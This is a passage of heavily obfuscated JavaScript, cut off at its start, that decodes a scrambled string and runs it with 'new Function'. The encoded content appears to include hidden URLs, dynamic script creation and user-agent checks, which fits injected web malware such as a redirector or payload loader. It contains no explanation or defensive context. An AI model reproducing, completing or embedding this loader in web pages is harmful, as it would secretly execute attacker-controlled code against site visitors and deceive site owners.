)ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();